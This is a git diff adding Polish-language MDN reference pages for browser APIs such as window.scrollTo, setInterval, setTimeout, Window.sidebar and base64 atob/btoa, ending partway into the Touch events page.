0000000000..99548bf52c --- /dev/null +++ b/files/pl/web/api/window/scrollbypages/index.html @@ -0,0 +1,35 @@ +--- +title: window.scrollByPages +slug: Web/API/Window/scrollByPages +tags: + - DOM + - Dokumentacja_Gecko_DOM + - Gecko + - Wszystkie_kategorie +translation_of: Web/API/Window/scrollByPages +--- +<p>{{ ApiRef() }}</p> +<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3> +<p>Przewija aktualny dokument przez określoną liczbę stron.</p> +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3> +<pre class="eval">window.scrollByPages(<i>pages</i>) +</pre> +<h3 id="Parametry" name="Parametry">Parametry</h3> +<ul> + <li><code>pages</code> jest liczbą stron do przewinięcia.</li> + <li><code>pages</code> może być wartością dodatnią lub ujemną liczby całkowitej.</li> +</ul> +<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3> +<pre>// przewija w dół dokument o 1 stronę +window.scrollByPages(1); + +// przewija w górę dokument o 1 stronę +window.scrollByPages(-1); +</pre> +<h3 id="Uwagi" name="Uwagi">Uwagi</h3> +<p>Zobacz także <code><a href="pl/DOM/window.scrollBy">window.scrollBy</a>, <a href="pl/DOM/window.scrollByLines">window.scrollByLines</a>, <a href="pl/DOM/window.scroll">window.scroll</a>, <a href="pl/DOM/window.scrollTo">window.scrollTo</a></code>.</p> +<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3> +<p>DOM Level 0. Nie jest częścią specyfikacji.</p> +<div class="noinclude"> + </div> +<p>{{ languages( { "en": "en/DOM/window.scrollByPages", "ja": "ja/DOM/window.scrollByPages" } ) }}</p> diff --git a/files/pl/web/api/window/scrollto/index.html b/files/pl/web/api/window/scrollto/index.html new file mode 100644 index 0000000000..6bdb2154a7 --- /dev/null +++ b/files/pl/web/api/window/scrollto/index.html @@ -0,0 +1,32 @@ +--- +title: window.scrollTo +slug: Web/API/Window/scrollTo +tags: + - DOM + - Dokumentacja_Gecko_DOM + - Gecko + - Wszystkie_kategorie +translation_of: Web/API/Window/scrollTo +--- +<p>{{ ApiRef() }}</p> +<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3> +<p>Przesuwa się do danych koordynatów w dokumencie.</p> +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3> +<pre class="eval">window.scrollTo(<i>x-coord</i>,<i>y-coord</i>) +</pre> +<h3 id="Parametry" name="Parametry">Parametry</h3> +<ul> + <li><code>x-coord</code> jest pikselem wzdłuż poziomej osi dokumentu do wyświetlenia, w jego lewym górnym rogu.</li> + <li><code>y-coord</code> jest pikselem wzdłuż pionowej osi dokumentu do wyświetlenia, w jego lewym górnym rogu.</li> +</ul> +<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3> +<pre>window.scrollTo(0, 1000); +</pre> +<h3 id="Uwagi" name="Uwagi">Uwagi</h3> +<p>Powyższa funkcja jest tym co funkcja <a href="pl/DOM/window.scroll">window.scroll</a>. Dla przesuwu względnego zobacz <a href="pl/DOM/window.scrollBy">window.scrollBy</a>, <a href="pl/DOM/window.scrollByLines">window.scrollByLines</a> oraz <a href="pl/DOM/window.scrollByPages">window.scrollByPages</a>.</p> +<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3> +<p>DOM poziom 0. Nie jest częścią specyfikacji.</p> +<p> </p> +<div class="noinclude"> + </div> +<p>{{ languages( { "en": "en/DOM/window.scrollTo", "fr": "fr/DOM/window.scrollTo", "ja": "ja/DOM/window.scrollTo" } ) }}</p> diff --git a/files/pl/web/api/window/setinterval/index.html b/files/pl/web/api/window/setinterval/index.html new file mode 100644 index 0000000000..5cbfadde80 --- /dev/null +++ b/files/pl/web/api/window/setinterval/index.html @@ -0,0 +1,87 @@ +--- +title: window.setInterval +slug: Web/API/Window/setInterval +tags: + - DOM + - DOM_0 + - Dokumentacja_Gecko_DOM + - Gecko + - Wszystkie_kategorie +translation_of: Web/API/WindowOrWorkerGlobalScope/setInterval +--- +<p>{{ ApiRef() }}</p> + +<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3> + +<p>Ustawia opóźnienie do cyklicznego wywoływania określonej funkcji.</p> + +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3> + +<pre class="eval"><em>var idInterwalu</em> = window.setInterval(<em>funkcja</em>, <em>opóźnienie</em>[, <em>parametr1</em>, <em>parametr2</em>, ...]); +<em>var idInterwalu</em> = window.setInterval(<em>kod</em>, <em>opóźnienie</em>);</pre> + +<p> Parametry</p> + +<ul> + <li><code style="font: normal normal normal 100%/normal 'Courier New', 'Andale Mono', monospace; color: inherit; font-weight: inherit;">idInterwalu</code> to identyfikator ustawianego interwału który można przekazać do funkcji <code><a href="/pl/DOM/window.clearInterval" title="pl/DOM/window.clearInterval">window.clearInterval()</a></code>.</li> + <li><code>funkcja</code> to funkcja, dla której ustawiane jest opóźnienie</li> + <li><code>kod </code>to ciąg znaków zawierający kod javascript do cyklicznego wykonania. Jest to składnia alternatywna, której wykorzystanie <strong>nie jest zalecane</strong> z tych samych powodów, co stosowanie <code><a href="/en/JavaScript/Reference/Global_Objects/eval#Don%27t_use_eval!" title="en/JavaScript/Reference/Global Objects/eval#Don't use eval!">eval()</a></code>.</li> + <li><code>opóźnienie</code> to liczba milisekund (tysięcznych części sekundy), co którą wywoływana będzie <code>funkcja </code>lub <code>kod</code></li> +</ul> + +<p>Należy zwrócić uwagę, że przekazywanie dodatkowych parametrów w pierwszej składni nie działa w Internet Explorerze.</p> + +<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3> + +<pre class="brush: js">idInterwalu = window.setInterval(animuj, 500); +</pre> + +<p> W poniższym przykładzie, funkcja <code>zmienKolorTekstu()</code> będzie wykonywana co sekundę, dopóki użytkownik nie naciśnie przycisku Stop, co spowoduje wywołanie <code>clearInterval() </code>z parametrem <code>idInterwalu</code>.</p> + +<pre class="brush: js" style="margin-top: 0px; margin-right: 0px; margin-bottom: 1.286em; margin-left: 0px; padding-top: 15px; padding-right: 15px; padding-bottom: 15px; padding-left: 15px; border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: dotted; border-right-style: dotted; border-bottom-style: dotted; border-left-style: dotted; background-clip: initial; background-color: rgb(246, 246, 242); font: normal normal normal 100%/normal 'Courier New', 'Andale Mono', monospace;"><html> +<head> +<title>przykład z wykorzystaniem setInterval/clearInterval</title> + +<script type="text/javascript"> +var idInterwalu; + +function zmienKolor() { + idInterwalu = setInterval(zmienKolorTekstu, 1000); +} + +function zmienKolorTekstu() { + var elem = document.getElementById("my_box"); + if (elem.style.color == 'red') { + elem.style.color = 'blue'; + } else { + elem.style.color = 'red'; + } +} + +function zatrzymajZmianeKoloru() { + clearInterval(idInterwalu); +} +</script> +</head> + +<body onload="zmienKolor();"> +<div id="my_box"> +<p>Hello World</p> +</div> +<button onclick="zatrzymajZmianeKoloru();">Stop</button> +</body> +</html></pre> + +<h3 id="Uwagi">Uwagi</h3> + +<p>Funkcja setInterval() służy do ustawienia opóźnienia dla cyklicznie wywoływanych funkcji, takich jak funkcje animacji.</p> + +<p>Możliwe jest anulowanie wykonania fukcji poprzez wywołanie <code><a href="/pl/DOM/window.clearInterval" title="pl/DOM/window.clearInterval">window.clearInterval()</a></code>.</p> + +<p>Jeżeli funkcja ma zostać wykonana <em>tylko raz</em> a nie być wykonywana cyklicznie to należy skorzystać z <code style="font: normal normal normal 100%/normal 'Courier New', 'Andale Mono', monospace; color: inherit; font-weight: inherit;"><a href="/pl/DOM/window.setTimeout" title="pl/DOM/window.setTimeout">window.setTimeout()</a></code>.</p> + +<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3> + +<p>{{ DOM0() }}</p> + +<p>{{ languages( { "en": "en/DOM/window.setInterval", "fr": "fr/DOM/window.setInterval", "ja": "ja/DOM/window.setInterval", "pl": "pl/DOM/window.setInterval" } ) }}</p> diff --git a/files/pl/web/api/window/settimeout/index.html b/files/pl/web/api/window/settimeout/index.html new file mode 100644 index 0000000000..926080dd5b --- /dev/null +++ b/files/pl/web/api/window/settimeout/index.html @@ -0,0 +1,46 @@ +--- +title: window.setTimeout +slug: Web/API/Window/setTimeout +tags: + - DOM + - DOM_0 + - Dokumentacja_Gecko_DOM + - Gecko + - Wszystkie_kategorie +translation_of: Web/API/WindowOrWorkerGlobalScope/setTimeout +--- +<p>{{ ApiRef() }}</p> +<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3> +<p>Uruchamia fragment kodu bądź funkcję po określonym odstępie czasu.</p> +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3> +<pre class="eval"><em>id</em> = window.setTimeout(<em>funkcja</em>, <em>opóźnienie</em>[, <em>param1</em>, <em>param2</em>, ...]); +<em>id</em> = window.setTimeout(<em>kod</em>, <em>opóźnienie</em>); +</pre> +<p>gdzie</p> +<ul> + <li><code>funkcja</code> to <a href="/pl/Dokumentacja_języka_JavaScript_1.5/Obiekty/Function" title="pl/Dokumentacja_języka_JavaScript_1.5/Obiekty/Function">funkcja</a>, jaką chcesz uruchomić po opóźnieniu + <ul> + <li>w alternatywnej składni, <code>kod</code> to ciąg znaków z kodem, który będzie wykonany po upływie podanego czasu</li> + </ul> + </li> + <li><code>opóźnienie</code> to liczba milisekund (tysięcznych części sekundy), po których upływie wykonana zostanie funkcja</li> + <li><code>id</code> to identyfikator, którego można użyć z <a href="/pl/DOM/window.clearTimeout" title="pl/DOM/window.clearTimeout">window.clearTimeout</a></li> +</ul> +<h3 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h3> +<pre class="eval">window.setTimeout('window.parent.generateOutput()', 1000); +</pre> +<pre class="eval">function generateOutput(aConcise) { + if(aConcise) + parent.generateConciseOutput(); + else + parent.generateOutput(); +} +window.setTimeout(generateOutput, 1000, true); +</pre> +<p>Zobacz też <a href="/pl/DOM/window.clearTimeout#Example" title="pl/DOM/window.clearTimeout#Example">przykład użycia clearTimeout()</a>.</p> +<h3 id="Uwagi" name="Uwagi">Uwagi</h3> +<p>Możesz anulować opóźnienie wywołania funkcji za pomocą <a href="/pl/DOM/window.clearTimeout" title="pl/DOM/window.clearTimeout">window.clearTimeout()</a>.</p> +<p>Jeśli chcesz, by funkcja była uruchamiana cyklicznie (np. co każde N milisekund), rozważ wykorzystanie <a href="/pl/DOM/window.setInterval" title="pl/DOM/window.setInterval">window.setInterval()</a>.</p> +<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3> +<p>{{ DOM0() }}</p> +<p>{{ languages( { "en": "en/DOM/window.setTimeout", "fr": "fr/DOM/window.setTimeout", "ja": "ja/DOM/window.setTimeout", "pl": "pl/DOM/window.setTimeout" } ) }}</p> diff --git a/files/pl/web/api/window/sidebar/index.html b/files/pl/web/api/window/sidebar/index.html new file mode 100644 index 0000000000..280b5dcce3 --- /dev/null +++ b/files/pl/web/api/window/sidebar/index.html @@ -0,0 +1,56 @@ +--- +title: Window.sidebar +slug: Web/API/Window/sidebar +tags: + - DOM + - NeedsTranslation + - Non-standard + - Property + - Reference + - TopicStub + - Window +translation_of: Web/API/Window/sidebar +--- +<div>{{APIRef}} {{Non-standard_header}}</div> + +<p>Returns a sidebar object, which contains several methods for registering add-ons with the browser.</p> + +<h2 id="Notes" name="Notes">Notes</h2> + +<p>The sidebar object returned has the following methods:</p> + +<table class="fullwidth-table"> + <tbody> + <tr> + <th>Method</th> + <th>Description (SeaMonkey)</th> + <th>Description (Firefox)</th> + </tr> + <tr> + <td><code>addPanel(<var>title</var>, <var>contentURL</var>, "")</code></td> + <td>Adds a sidebar panel.</td> + <td rowspan="2">Obsolete since Firefox 23 (only present in SeaMonkey).<br> + End users can use the "load this bookmark in the sidebar" option instead. Also see <a href="https://developer.mozilla.org/en-US/docs/Mozilla/Creating_a_Firefox_sidebar">Creating a Firefox sidebar.</a></td> + </tr> + <tr> + <td><code>addPersistentPanel(<var>title</var>, <var>contentURL</var>, "")</code></td> + <td>Adds a sidebar panel, which is able to work in the background.</td> + </tr> + <tr> + <td><code>AddSearchProvider(<em>descriptionURL)</em></code></td> + <td colspan="2">Installs a search provider (OpenSearch). <a href="/en-US/docs/Web/API/Window/sidebar/Adding_search_engines_from_Web_pages#Installing_OpenSearch_plugins" title="Adding_search_engines_from_web_pages">Adding OpenSearch search engines </a>contains more details. Added in Firefox 2.</td> + </tr> + <tr> + <td><code>addSearchEngine(<var>engineURL</var>, <var>iconURL</var>, <var>suggestedTitle</var>, <var>suggestedCategory</var>)</code> {{Obsolete_inline(44)}}</td> + <td colspan="2">Installs a search engine (Sherlock). <a href="/en-US/docs/Web/API/Window/sidebar/Adding_search_engines_from_Web_pages#Installing_Sherlock_plugins" title="Adding_search_engines_from_web_pages">Adding Sherlock search engines </a>contains more details.</td> + </tr> + <tr> + <td><code>IsSearchProviderInstalled(<em>descriptionURL)</em></code></td> + <td colspan="2">Indicates if a specific search provider (OpenSearch) is installed.</td> + </tr> + </tbody> +</table> + +<h2 id="Specification" name="Specification">Specification</h2> + +<p>Mozilla-specific. Not part of any standard.</p> diff --git a/files/pl/web/api/windowbase64/atob/index.html b/files/pl/web/api/windowbase64/atob/index.html new file mode 100644 index 0000000000..cd36201a6c --- /dev/null +++ b/files/pl/web/api/windowbase64/atob/index.html @@ -0,0 +1,104 @@ +--- +title: WindowBase64.atob() +slug: Web/API/WindowBase64/atob +tags: + - API + - Base-64 + - Base64 + - Method + - Metodă + - Reference + - Referencja + - WindowBase64 +translation_of: Web/API/WindowOrWorkerGlobalScope/atob +--- +<p>{{APIRef}}</p> +<p>Funkcja <strong><code>WindowBase64.atob()</code></strong> dekoduje ciąg danych, który został zakodowany używając kodowania base-64. Możesz użyć metody <a href="/pl/docs/Web/API/WindowBase64.btoa"><code>window.btoa()</code></a> aby zakodować i przesłać dane, które w innym wypadku mogą powodować problemy z komunikacją, a następnie odebrać je i użyć metody <code>window.atob()</code> aby zdekodować dane ponownie. Na przykład możesz zakodować, przesłać i zdekodować znaki kontrolne ASCII o wartościach od 0 do 31.</p> +<p>Aby używać tej funkcji z ciągami Unicode albo UTF-8, zobacz <a href="/en-US/docs/Web/JavaScript/Base64_encoding_and_decoding#The_.22Unicode_Problem.22">tę uwagę w Kodowaniu i dekodowaniu Base64</a> i <a href="/pl/docs/Web/API/WindowBase64.btoa#Ci.C4.85gi_Unicode">tę uwagę w <code>window.btoa()</code></a>.</p> +<h2 id="Syntax" name="Syntax">Składnia</h2> +<pre class="syntaxbox">var odkodowaneDane = window.atob(<em>zakodowaneDane</em>);</pre> +<h2 id="Example" name="Example">Przykład</h2> +<pre class="brush:js">var zakodowaneDane = window.btoa("Hello, world"); // kodowanie ciągu +var odkodowaneDane = window.atob(zakodowaneDane); // odkodowywanie ciągu</pre> +<h2 id="Specyfikacje">Specyfikacje</h2> +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Specyfikacja</th> + <th scope="col">Status</th> + <th scope="col">Komentarz</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName('HTML WHATWG', '#dom-windowbase64-atob', 'WindowBase64.atob()')}}</td> + <td>{{Spec2('HTML WHATWG')}}</td> + <td>Bez zmian od ostatniej migawki, {{SpecName("HTML5.1")}}.</td> + </tr> + <tr> + <td>{{SpecName('HTML5.1', '#dom-windowbase64-atob', 'WindowBase64.atob()')}}</td> + <td>{{Spec2('HTML5.1')}}</td> + <td>Migawka {{SpecName("HTML WHATWG")}}. Bez zmian.</td> + </tr> + <tr> + <td>{{SpecName("HTML5 W3C", "#dom-windowbase64-atob", "WindowBase64.atob()")}}</td> + <td>{{Spec2('HTML5 W3C')}}</td> + <td>Migawka {{SpecName("HTML WHATWG")}}. Utworzenie <code>WindowBase64</code> (properties where on the target before it).</td> + </tr> + </tbody> +</table> +<h2 id="Browser_compatibility" name="Browser_compatibility">Zgodność przeglądarek</h2> +<div> + {{CompatibilityTable}}</div> +<div id="compat-desktop"> + <table class="compat-table"> + <tbody> + <tr> + <th>Funkcja</th> + <th>Chrome</th> + <th>Firefox (Gecko)</th> + <th>Internet Explorer</th> + <th>Opera</th> + <th>Safari (WebKit)</th> + </tr> + <tr> + <td>Podstawowa obsługa</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatGeckoDesktop(1)}}[1][2]</td> + <td>10</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + </tr> + </tbody> + </table> +</div> +<div id="compat-mobile"> + <table class="compat-table"> + <tbody> + <tr> + <th>Funkcja</th> + <th>Android</th> + <th>Firefox Mobile (Gecko)</th> + <th>IE Mobile</th> + <th>Opera Mobile</th> + <th>Safari Mobile</th> + </tr> + <tr> + <td>Podstawowa obsługa</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatGeckoMobile(1)}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + </tr> + </tbody> + </table> +</div> +<p>[1] <code>btoa()</code> jest także dostępna dla komponentów XPCOM zaimplementowanych w JavaScript, nawet jeżeli <code><a href="https://developer.mozilla.org/pl/docs/DOM/window" lang="pl">window</a></code> nie jest globalnym obiektem w komponencie<code>.</code></p> +<p>[2] Wraz z <a href="/pl/Firefox/Releases/27/Site_Compatibility">Firefoxem 27</a>, metoda <code>atob()</code> ignoruje wszystkie spacje w argumencie dla zgodności z najnowszą specyfikacją HTML5. ({{ bug(711180) }})</p> +<h2 id="See_also" name="See_also">Zobacz też</h2> +<ul> + <li><a href="https://developer.mozilla.org/Web/API/WindowBase64/Base64_encoding_and_decoding">Kodowanie i dekodowanie Base64</a></li> + <li><a href="/pl/docs/data_URIs"><code>data</code> URIs</a></li> + <li><a href="/pl/docs/Web/API/WindowBase64.btoa"><code>window.btoa()</code></a></li> +</ul> diff --git a/files/pl/web/api/windowbase64/btoa/index.html b/files/pl/web/api/windowbase64/btoa/index.html new file mode 100644 index 0000000000..cf3e90c26d --- /dev/null +++ b/files/pl/web/api/windowbase64/btoa/index.html @@ -0,0 +1,126 @@ +--- +title: WindowBase64.btoa() +slug: Web/API/WindowBase64/btoa +tags: + - API + - Base-64 + - Base64 + - Method + - Reference + - Referencja + - WindowBase64 +translation_of: Web/API/WindowOrWorkerGlobalScope/btoa +--- +<p>{{APIRef}}</p> +<p>Tworzy string ASCII zakodowany w base-64 z ciągu ("string") danych binarnych.</p> +<p>Metoda ta jednak nie nadaje się do konwertowania surowych ciągów <a href="http://www.unicode.org/standard/WhatIsUnicode.html">Unicode</a>! Zobacz sekcję Unicode poniżej.</p> +<h2 id="Syntax" name="Syntax">Składnia</h2> +<pre class="syntaxbox">var zakodowaneDane = window.btoa(<em>ciagDoZakodowania</em>);</pre> +<h2 id="Example" name="Example">Przykład</h2> +<pre class="brush:js">var zakodowaneDane = window.btoa("Hello, world"); // kodowanie ciągu +var odkodowaneDane = window.atob(zakodowaneDane); // odkodowywanie ciągu ("Hello, world") +</pre> +<h2 id="Notes" name="Notes">Uwagi</h2> +<p>Możesz używać tej metody do kodowania danych, które w innym wypadku mogą powodować problemy z komunikacją. Przekaż je, a następnie użyj metody <code><a href="/pl/docs/Web/API/WindowBase64.atob" title="DOM/window.atob">window.atob()</a></code> aby odkodować dane ponownie. Na przykład możesz zakodować znaki kontrolne takie jak ASCII o wartości od 0 do 31.</p> +<p><code>btoa()</code> jest także dostępne dla komponentów XPCOM zaimplementowanych w JavaScript, nawet jeżeli <a href="/pl/docs/DOM/window" title="DOM/window"><code>window</code></a> nie jest globalnym obiektem w komponencie.</p> +<h2 id="Ciągi_Unicode">Ciągi Unicode</h2> +<p>W większości przeglądarek odwołanie się do <code>window.btoa()</code> z ciągiem Unicode spowoduje wystąpienie wyjątku <code>Character Out Of Range</code>.</p> +<p>Aby tego uniknąć, rozważ ten model odnotowany przez <a class="external" href="http://ecmanaut.blogspot.com/2006/07/encoding-decoding-utf8-in-javascript.html" title="http://ecmanaut.blogspot.com/2006/07/encoding-decoding-utf8-in-javascript.html">Johana Sundströma</a>:</p> +<pre class="brush:js">function utf8_to_b64( str ) { + return window.btoa(encodeURIComponent( escape( str ))); +} + +function b64_to_utf8( str ) { + return unescape(decodeURIComponent(window.atob( str ))); +} + +// Usage: +utf8_to_b64('✓ à la mode'); // JTI1dTI3MTMlMjUyMCUyNUUwJTI1MjBsYSUyNTIwbW9kZQ== +b64_to_utf8('JTI1dTI3MTMlMjUyMCUyNUUwJTI1MjBsYSUyNTIwbW9kZQ=='); // "✓ à la mode" + +utf8_to_b64('I \u2661 Unicode!'); // SSUyNTIwJTI1dTI2NjElMjUyMFVuaWNvZGUlMjUyMQ== +b64_to_utf8('SSUyNTIwJTI1dTI2NjElMjUyMFVuaWNvZGUlMjUyMQ=='); // "I ♡ Unicode!" + +</pre> +<p>Lepszym, bardziej wiarygodnym i mniej wymagającym rozwiązaniem jest konwersja <code><a href="/pl/docs/Web/API/DOMString">DOMString</a></code> do ciągu zakodowanego w UTF-8 używając <a href="/pl/docs/Web/JavaScript/Typed_arrays">TypedArray</a>. W tym celu proszę zapoznać się z <a href="/en-US/docs/Web/JavaScript/Base64_encoding_and_decoding#Solution_.232_.E2.80.93_rewriting_atob()_and_btoa()_using_TypedArrays_and_UTF-8">tym akapitem</a>.</p> +<h2 id="Browser_compatibility" name="Browser_compatibility">Specyfikacje</h2> +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Specyfikacja</th> + <th scope="col">Status</th> + <th scope="col">Komentarz</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName('HTML WHATWG', '#dom-windowbase64-btoa', 'WindowBase64.btoa()')}}</td> + <td>{{Spec2('HTML WHATWG')}}</td> + <td>Brak zmian od ostatniej migawki, {{SpecName("HTML5.1")}}.</td> + </tr> + <tr> + <td>{{SpecName('HTML5.1', '#dom-windowbase64-btoa', 'WindowBase64.btoa()')}}</td> + <td>{{Spec2('HTML5.1')}}</td> + <td>Migawka {{SpecName("HTML WHATWG")}}. Bez zmian.</td> + </tr> + <tr> + <td>{{SpecName("HTML5 W3C", "#dom-windowbase64-btoa", "WindowBase64.btoa()")}}</td> + <td>{{Spec2('HTML5 W3C')}}</td> + <td>Migawka {{SpecName("HTML WHATWG")}}. Utworzenie <code>WindowBase64</code> (properties where on the target before it).</td> + </tr> + </tbody> +</table> +<h2 id="Browser_compatibility" name="Browser_compatibility">Zgodność przeglądarek</h2> +<div> + {{CompatibilityTable}}</div> +<div id="compat-desktop"> + <table class="compat-table"> + <tbody> + <tr> + <th>Funkcja</th> + <th>Chrome</th> + <th>Firefox (Gecko)</th> + <th>Internet Explorer</th> + <th>Opera</th> + <th>Safari (WebKit)</th> + </tr> + <tr> + <td>Podstawowa obsługa</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatGeckoDesktop(1)}}[1]</td> + <td>10</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + </tr> + </tbody> + </table> +</div> +<div id="compat-mobile"> + <table class="compat-table"> + <tbody> + <tr> + <th>Funkcja</th> + <th>Android</th> + <th>Firefox Mobile (Gecko)</th> + <th>IE Mobile</th> + <th>Opera Mobile</th> + <th>Safari Mobile</th> + </tr> + <tr> + <td>Podstawowa obsługa</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatGeckoMobile(1)}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + </tr> + </tbody> + </table> +</div> +<p>[1] <code>btoa()</code> jest także dostępna dla komponentów XPCOM zaimplementowanych w JavaScript, nawet jeżeli <code><a href="/pl/docs/DOM/window" lang="pl">window</a></code> nie jest globalnym obiektem w komponencie<code>.</code></p> +<h2 id="See_also" name="See_also">Zobacz też</h2> +<ul> + <li><a href="/Web/API/WindowBase64/Base64_encoding_and_decoding">Kodowanie i dekodowanie Base64</a></li> + <li><a href="/pl/docs/data_URIs"><code>data</code> URIs</a></li> + <li><a href="/pl/docs/Web/API/WindowBase64.atob"><code>window.atob()</code></a></li> +</ul> diff --git a/files/pl/web/api/windowbase64/index.html b/files/pl/web/api/windowbase64/index.html new file mode 100644 index 0000000000..2d13e49406 --- /dev/null +++ b/files/pl/web/api/windowbase64/index.html @@ -0,0 +1,113 @@ +--- +title: WindowBase64 +slug: Web/API/WindowBase64 +translation_of: Web/API/WindowOrWorkerGlobalScope +--- +<p>{{APIRef("HTML DOM")}}</p> + +<p>The <code><strong>WindowBase64</strong></code> helper contains utility methods to convert data to and from base64, a binary-to-text encoding scheme. For example it is used in <a href="/en-US/docs/data_URIs">data URIs</a>.</p> + +<p>There is no object of this type, though the context object, either the {{domxref("Window")}} for regular browsing scope, or the {{domxref("WorkerGlobalScope")}} for workers, implements it.</p> + +<h2 id="Properties">Properties</h2> + +<p><em>This helper neither defines nor inherits any properties.</em></p> + +<h2 id="Methods">Methods</h2> + +<p><em>This helper does not inherit any methods.</em></p> + +<dl> + <dt>{{domxref("WindowBase64.atob()")}}</dt> + <dd>Decodes a string of data which has been encoded using base-64 encoding.</dd> + <dt>{{domxref("WindowBase64.btoa()")}}</dt> + <dd>Creates a base-64 encoded ASCII string from a string of binary data.</dd> +</dl> + +<h2 id="Specifications">Specifications</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName('HTML WHATWG', '#windowbase64', 'WindowBase64')}}</td> + <td>{{Spec2('HTML WHATWG')}}</td> + <td>No change since the latest snapshot, {{SpecName("HTML5.1")}}.</td> + </tr> + <tr> + <td>{{SpecName('HTML5.1', '#windowbase64', 'WindowBase64')}}</td> + <td>{{Spec2('HTML5.1')}}</td> + <td>Snapshot of {{SpecName("HTML WHATWG")}}. No change.</td> + </tr> + <tr> + <td>{{SpecName("HTML5 W3C", "#windowbase64", "WindowBase64")}}</td> + <td>{{Spec2('HTML5 W3C')}}</td> + <td>Snapshot of {{SpecName("HTML WHATWG")}}. Creation of <code>WindowBase64</code> (properties where on the target before it).</td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility">Browser compatibility</h2> + +<p>{{CompatibilityTable}}</p> + +<div id="compat-desktop"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Firefox (Gecko)</th> + <th>Chrome</th> + <th>Internet Explorer</th> + <th>Opera</th> + <th>Safari</th> + </tr> + <tr> + <td>Basic support</td> + <td>{{CompatGeckoDesktop(1)}} [1]</td> + <td>{{CompatVersionUnknown}}</td> + <td>10.0</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + </tr> + </tbody> +</table> +</div> + +<div id="compat-mobile"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Firefox Mobile (Gecko)</th> + <th>Android</th> + <th>IE Mobile</th> + <th>Opera Mobile</th> + <th>Safari Mobile</th> + </tr> + <tr> + <td>Basic support</td> + <td>{{CompatGeckoMobile(1)}}</td> + <td rowspan="1">{{CompatVersionUnknown}}</td> + <td rowspan="1">{{CompatVersionUnknown}}</td> + <td rowspan="1">{{CompatVersionUnknown}}</td> + <td rowspan="1">{{CompatVersionUnknown}}</td> + </tr> + </tbody> +</table> +</div> + +<p>[1] <code>atob()</code> is also available to XPCOM components implemented in JavaScript, even though {{domxref("Window")}} is not the global object in components.</p> + +<h2 id="See_also">See also</h2> + +<ul> + <li><a href="/Web/API/WindowBase64/Base64_encoding_and_decoding">Base64 encoding and decoding</a></li> + <li>{{domxref("Window")}}, {{domxref("WorkerGlobalScope")}}, {{domxref("DedicatedWorkerGlobalScope")}}, {{domxref("SharedWorkerGlobalScope")}}, and {{domxref("ServiceWorkerGlobalScope")}}</li> +</ul> diff --git a/files/pl/web/api/zdarzenia_dotykowe/index.html b/files/pl/web/api/zdarzenia_dotykowe/index.html new file mode 100644 index 0000000000..4d49e9b5b5 --- /dev/null +++ b/files/pl/web/api/zdarzenia_dotykowe/index.html @@ -0,0 +1,336 @@ +--- +title: Zdarzenia dotykowe +slug: Web/API/Zdarzenia_dotykowe +translation_of: Web/API/Touch_events +--- +<div>{{DefaultAPISidebar("Touch Events")}}</div> + +<p>W celu zapewnienia wsparcia dla dotykowych interfejsów użytkownika, zdarzenia dotykowe oferują możliwość interpretowania aktywności palca (lub rysika) na ekranach i gładzikach.</p> + +<p>Interfejsy zdarzeń dotykowych to stounkowo niskopoziomowe API, które mogą być użyte do specyficznych dla aplikacji wielodotykowych interakcji takich jak gesty wykonywane dwoma palcami. Interakcja wielodotykowa zaczyna się, kiedy palec (lub rysik) dotyka powierzchni ekranu lub gładzika. Pozostałe palce mogą dotknąć powierzhni później i, opcjonalnie, poruszać się po powierzchni dotykowej. Interakcja kończy się, gdy palce są zabrane z powierzchni ekranu lub gładzika. W czasie trwania interakcji, aplikacja odbiera zdarzenia dotykowe podczas faz startu, ruchu i zakończenia tejże interakcji.</p> + +<p>Zdarzenia dotykowe są podobne do zdarzeń myszki, z tą różnicą, że pozwalają na jednoczesne dotknięcia w różnych miejscach na ekranie. Interfejs {{domxref("TouchEvent")}} hermetyzuje wszystkie punkty dotyku aktywne w danym momencie. Interfejs {{domxref("Touch")}}, który reprezentuje pojedynczy punkt dotyku, zawiera informacje takie jak pozycja punktu dotyku w stosunku do widoku okna przeglądarki.</p> + +<h2 id="Definicje">Definicje</h2> + +<dl> + <dt>Powierzchnia</dt> + <dd>Powierzchnia dotykowa. Może to być ekran lub gładzik.</dd> +</dl> + +<dl> + <dt>Punkt dotyku</dt> 